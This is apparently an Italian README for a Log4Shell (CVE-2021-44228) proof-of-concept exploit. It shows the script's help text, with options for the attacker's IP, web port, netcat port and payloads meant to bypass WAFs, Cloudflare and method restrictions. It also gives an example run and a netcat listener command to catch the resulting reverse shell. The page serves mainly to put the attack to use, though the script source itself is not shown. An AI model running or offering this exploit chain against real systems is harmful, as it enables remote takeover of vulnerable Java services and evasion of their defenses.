
Un exploit Proof-of-Concept per la vulnerabilità CVE-2021-44228.
Un Exploit Proof-of-Concept per la vulnerabilità CVE-2021-44228.
Log4j, che viene utilizzato per registrare informazioni di sicurezza e prestazioni, ha un impatto su oltre 3 miliardi di dispositivi che utilizzano Java in una varietà di servizi consumer e aziendali, siti web e applicazioni, oltre a dispositivi medici e sistemi di supporto.
Nota: questo non è un exploit "punta e clicca". Il payload trigger iniziale verrà generato, ma iniettarlo nel posto appropriato (es. header HTTP/chat/ecc.) sarà compito dell'utente.
usage: python CVE-2021-44228-exploit.py --help
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html
usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]
log4shell Reverse shell exploit
optional arguments:
-h, --help show this help message and exit
--userip userip Enter IP for LDAPRefServer & Shell
--webport webport listener port for HTTP port
--lport lport Netcat Port
-b bypass, --bypass bypass
Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
${lower:x} method restriction bypass
python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods
2) esegui netcat sulla porta 9001 nella tua macchina locale
nc -lvnp 9001
